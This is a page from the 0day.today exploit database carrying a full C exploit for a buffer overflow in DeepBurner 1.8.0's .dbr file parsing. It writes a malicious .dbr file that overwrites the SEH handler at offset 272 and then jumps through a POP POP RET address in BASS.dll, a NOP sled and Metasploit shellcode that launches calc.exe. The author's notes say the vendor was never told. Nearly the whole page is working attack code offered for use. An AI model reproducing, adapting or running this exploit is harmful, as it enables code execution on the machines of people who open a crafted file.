0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
DeepBurner 1.8.0 .dbr File Parsing Buffer Overflow Exploit
========================================================== DeepBurner 1.8.0 .dbr File Parsing Buffer Overflow Exploit ========================================================== /* _______ ________ .__ _____ __ ___ __\ _ \ ____ \_____ \ | |__ / | | ____ | | __ \ \/ / /_\ \ / \ _(__ < ______ | | \ / | |__/ ___\| |/ / > <\ \_/ \ | \/ \ /_____/ | Y \/ ^ /\ \___| < /__/\_ \\_____ /___| /______ / |___| /\____ | \___ >__|_ \ \/ \/ \/ \/ 18\12\06 \/ |__| \/ \/ * mm. dM8 * YMMMb. dMM8 _____________________________________ * YMMMMb dMMM' [ ] * `YMMMb dMMMP [ There are doors I have yet to open ] * `YMMM MMM' [ windows I have yet to look through ] * "MbdMP [ Going forward may not be the answer ] * .dMMMMMM.P [ ] * dMM MMMMMM [ maybe I should go back ] * 8MMMMMMMMMMI [_____________________________________] * YMMMMMMMMM www.netbunny.org * "MMMMMMP [Happy holidays to everybody] * MxM .mmm * W"W """ [i] Title: DeepBurner <= 1.8.0 dbr parsing remote buffer overflow [i] Discovered by: Expanders [i] Exploit by: Expanders - expanders [aaat] gmail [dooot] com [i] References: http://www.deepburner.com/ [i] Greatings: x0n3-h4ck - netbunny [ Research diary ] Another classical buffer overflow. This time is located in the "file name" tag of the dbr file. if we supply more than 272 bytes of buffer we can trigger an access violation and we can overwrite SEH handler. After that stack get a little bit corrupted, btw nothing that a tricky jmpover cannot avoid :) [ Timeline ] Vendor hasn't been informed. Damned greyhats! [ Notes ] RETcode type: POP REG, POP REG, RET To improve realiability you can search your own RETcodes.. [ Special Thanks ] H D Moore Greg Linares <--- You're awesome man! [ Links ] www.x0n3-h4ck.org www.netbunny.org */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/time.h> // Exploit internals, change only if you know what you are doing #define BUFFSIZE 1000 // Offsets #define SEH_OFFSET 272 int banner(); int usage(char *filename); unsigned char header[] = "\x3C\x44\x65\x65\x70\x42\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F" "\x72\x64\x20\x76\x65\x72\x3D\x22\x31\x2E\x38\x2E\x30\x2E\x32\x32" "\x34\x22\x20\x74\x79\x70\x65\x3D\x22\x64\x61\x74\x61\x22\x3E\x0D" "\x0A\x20\x20\x20\x20\x3C\x64\x61\x74\x61\x5F\x63\x64\x20\x76\x65" "\x72\x3D\x22\x31\x22\x20\x64\x65\x76\x69\x63\x65\x3D\x22\x22\x20" "\x73\x65\x73\x73\x69\x6F\x6E\x32\x69\x6D\x70\x6F\x72\x74\x3D\x22" "\x30\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x64\x69\x73\x63" "\x3D\x22\x31\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x74\x72" "\x61\x63\x6B\x3D\x22\x31\x22\x20\x62\x6F\x6F\x74\x61\x62\x6C\x65" "\x3D\x22\x30\x22\x20\x62\x6F\x6F\x74\x5F\x69\x6D\x61\x67\x65\x5F" "\x70\x61\x74\x68\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20" "\x20\x20\x3C\x64\x69\x72\x20\x6E\x61\x6D\x65\x3D\x22\x43\x44\x52" "\x6F\x6F\x74\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x3E\x0D\x0A\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65" "\x20\x6E\x61\x6D\x65\x3D\x22\x74\x65\x73\x74\x2E\x74\x78\x74\x22" "\x20\x70\x61\x74\x68\x3D\x22"; unsigned char footer[] = "\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20" "\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x72\x3E\x0D\x0A\x20\x20" "\x20\x20\x3C\x2F\x64\x61\x74\x61\x5F\x63\x64\x3E\x0D\x0A\x20\x20" "\x20\x20\x3C\x63\x64\x5F\x6C\x61\x62\x65\x6C\x20\x76\x65\x72\x3D" "\x22\x31\x22\x20\x7A\x6F\x6F\x6D\x3D\x22\x30\x22\x20\x76\x69\x65" "\x77\x3D\x22\x6C\x61\x62\x65\x6C\x22\x20\x6C\x61\x79\x6F\x75\x74" "\x3D\x22\x73\x74\x61\x6E\x64\x61\x72\x74\x22\x3E\x0D\x0A\x20\x20" "\x20\x20\x20\x20\x20\x20\x3C\x6C\x61\x62\x65\x6C\x20\x2F\x3E\x0D" "\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x72\x6F\x6E\x74\x20" "\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x61\x63" "\x6B\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x63\x64\x5F\x6C" "\x61\x62\x65\x6C\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x61\x75\x74\x6F" "\x72\x75\x6E\x20\x76\x65\x72\x3D\x22\x31\x22\x20\x75\x73\x65\x3D" "\x22\x30\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D" "\x61\x69\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x4D\x61\x69\x6E\x46\x6F" "\x72\x6D\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22" "\x22\x20\x68\x69\x6E\x74\x3D\x22\x22\x20\x2F\x3E\x0D\x0A\x20\x20" "\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x20\x6E\x61\x6D" "\x65\x3D\x22\x54\x69\x74\x6C\x65\x22\x20\x74\x65\x78\x74\x3D\x22" "\x54\x69\x74\x6C\x65\x22\x20\x68\x69\x6E\x74\x3D\x22\x54\x69\x74" "\x6C\x65\x20\x62\x6F\x78\x22\x20\x6C\x65\x66\x74\x3D\x22\x31\x34" "\x34\x22\x20\x74\x6F\x70\x3D\x22\x34\x38\x22\x20\x77\x69\x64\x74" "\x68\x3D\x22\x35\x37\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33" "\x33\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x54\x69\x6D" "\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x22\x20\x66\x6F" "\x6E\x74\x73\x69\x7A\x65\x3D\x22\x32\x30\x22\x20\x66\x6F\x6E\x74" "\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69" "\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C" "\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20" "\x20\x20\x3C\x63\x6F\x6D\x6D\x65\x6E\x74\x20\x6E\x61\x6D\x65\x3D" "\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x22\x20\x74\x65\x78\x74\x3D" "\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x22\x20\x68\x69\x6E\x74\x3D\x22" "\x43\x6F\x6D\x6D\x65\x6E\x74\x20\x62\x6F\x78\x22\x20\x6C\x65\x66" "\x74\x3D\x22\x34\x30\x22\x20\x74\x6F\x70\x3D\x22\x37\x36\x22\x20" "\x77\x69\x64\x74\x68\x3D\x22\x38\x39\x22\x20\x68\x65\x69\x67\x68" "\x74\x3D\x22\x32\x39\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D" "\x22\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E" "\x22\x20\x66\x6F\x6E\x74\x73\x69\x7A\x65\x3D\x22\x31\x35\x22\x20" "\x66\x6F\x6E\x74\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20" "\x76\x69\x73\x69\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74" "\x73\x74\x79\x6C\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20" "\x20\x20\x20\x20\x20\x20\x3C\x65\x78\x69\x74\x62\x75\x74\x74\x6F" "\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x42\x75\x74\x74\x6F\x6E\x45\x78" "\x69\x74\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22" "\x22\x20\x69\x6D\x61\x67\x65\x5F\x64\x6F\x77\x6E\x5F\x70\x61\x74" "\x68\x3D\x22\x22\x20\x74\x65\x78\x74\x3D\x22\x45\x78\x69\x74\x22" "\x20\x68\x69\x6E\x74\x3D\x22\x45\x78\x69\x74\x20\x74\x68\x69\x73" "\x20\x70\x72\x6F\x67\x72\x61\x6D\x22\x20\x6C\x65\x66\x74\x3D\x22" "\x31\x32\x30\x22\x20\x74\x6F\x70\x3D\x22\x39\x36\x22\x20\x77\x69" "\x64\x74\x68\x3D\x22\x37\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D" "\x22\x32\x35\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x4D" "\x53\x20\x53\x61\x6E\x73\x20\x53\x65\x72\x69\x66\x22\x20\x66\x6F" "\x6E\x74\x73\x69\x7A\x65\x3D\x22\x38\x22\x20\x66\x6F\x6E\x74\x63" "\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69\x62" "\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C\x65" "\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x61" "\x75\x74\x6F\x72\x75\x6E\x3E\x0D\x0A\x3C\x2F\x44\x65\x65\x70\x42" "\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F\x72\x64\x3E\x0D\x0A"; /* win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */ /* Known badchars: 0x00 0x3c 0x3e 0x0a 0x0d 0x22 0x2F */ unsigned char shellcode[] = "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08" "\x6b\x48\x82\x83\xeb\xfc\xe2\xf4\xf4\x83\x0c\x82\x08\x6b\xc3\xc7" "\x34\xe0\x34\x87\x70\x6a\xa7\x09\x47\x73\xc3\xdd\x28\x6a\xa3\xcb" "\x83\x5f\xc3\x83\xe6\x5a\x88\x1b\xa4\xef\x88\xf6\x0f\xaa\x82\x8f" "\x09\xa9\xa3\x76\x33\x3f\x6c\x86\x7d\x8e\xc3\xdd\x2c\x6a\xa3\xe4" "\x83\x67\x03\x09\x57\x77\x49\x69\x83\x77\xc3\x83\xe3\xe2\x14\xa6" "\x0c\xa8\x79\x42\x6c\xe0\x08\xb2\x8d\xab\x30\x8e\x83\x2b\x44\x09" "\x78\x77\xe5\x09\x60\x63\xa3\x8b\x83\xeb\xf8\x82\x08\x6b\xc3\xea" "\x34\x34\x79\x74\x68\x3d\xc1\x7a\x8b\xab\x33\xd2\x60\x9b\xc2\x86" "\x57\x03\xd0\x7c\x82\x65\x1f\x7d\xef\x08\x29\xee\x6b\x45\x2d\xfa" "\x6d\x6b\x48\x82"; /* Jmp 0x40 bytes over to avoid corruption */ unsigned char jmpover[] = "\xeb\x40\x90\x90"; struct retcodes{char *platform;unsigned long addr;} targets[]= { { "DeepBurner 1.8.0", 0x10017928 }, // BASS.dll pop ecx, pop ecx, ret { "Crash - Testing" , 0xbadc0ded }, }; int banner() { printf("\n _______ ________ .__ _____ __ \n"); printf("___ __\\ _ \\ ____ \\_____ \\ | |__ / | | ____ | | __ \n"); printf("\\ \\/ / /_\\ \\ / \\ _(__ < ______ | | \\ / | |__/ ___\\| |/ / \n"); printf(" > <\\ \\_/ \\ | \\/ \\ /_____/ | Y \\/ ^ /\\ \\___| < \n"); printf("/__/\\_ \\\\_____ /___| /______ / |___| /\\____ | \\___ >__|_ \\ \n"); printf(" \\/ \\/ \\/ \\/ \\/ |__| \\/ \\/ \n\n"); printf("[i] Title: \tDeepBurner <= 1.8.0 dbr compilation Buffer overflow\n"); printf("[i] Discovered by:\tExpanders\n"); printf("[i] Exploit by: \tExpanders\n\n"); return 0; } int usage(char *filename) { int i; printf("Usage: \t%s <filename> <targ>\n\n",filename); printf(" \t<filename> : Output filename\n"); printf(" \t<targ> : Target from the list below\n\n"); printf("Ex: \t%s exploit.dbr 0\n\n",filename); printf("# \t Platform\n"); printf("-----------------------------------------------\n"); for(i = 0; targets[i].platform; i++) printf("%d \t %s\n",i,targets[i].platform); printf("-----------------------------------------------\n"); exit(0); } int main(int argc, char *argv[]) { FILE *output; int position; char *buffer; banner(); if( argc != 3 ) usage(argv[0]); printf("[+] Target is: %s\n",targets[atoi(argv[2])].platform); printf("[+] Creating evil buffer..."); fflush(stdout); buffer = (char *) malloc(BUFFSIZE); position = 0; memset(buffer,0x41,BUFFSIZE); memset(buffer,0x41,SEH_OFFSET); position += SEH_OFFSET; memcpy(buffer+position,jmpover,4); position += 4; memcpy(buffer+position,&targets[atoi(argv[2])].addr,4); position += 4; memset(buffer+position,0x90,0x40); position += 0x40; // shift 0x40 bytes ahead to avoid corruption memcpy(buffer+position,shellcode,strlen(shellcode)); position += strlen(shellcode); memset(buffer+position,0x00,1); printf("done\n"); printf("[+] Opening file..."); fflush(stdout); if(!(output = fopen(argv[1],"w"))) { fprintf(stderr,"error\n"); return 1; } printf("done\n"); printf("[+] Writing stuff into the file\n"); fprintf(output,"%s%s%s",header,buffer,footer); printf("[+] Done! %s created!\n",argv[1]); fclose(output); free(buffer); return 0; } # 0day.today [2024-07-07] #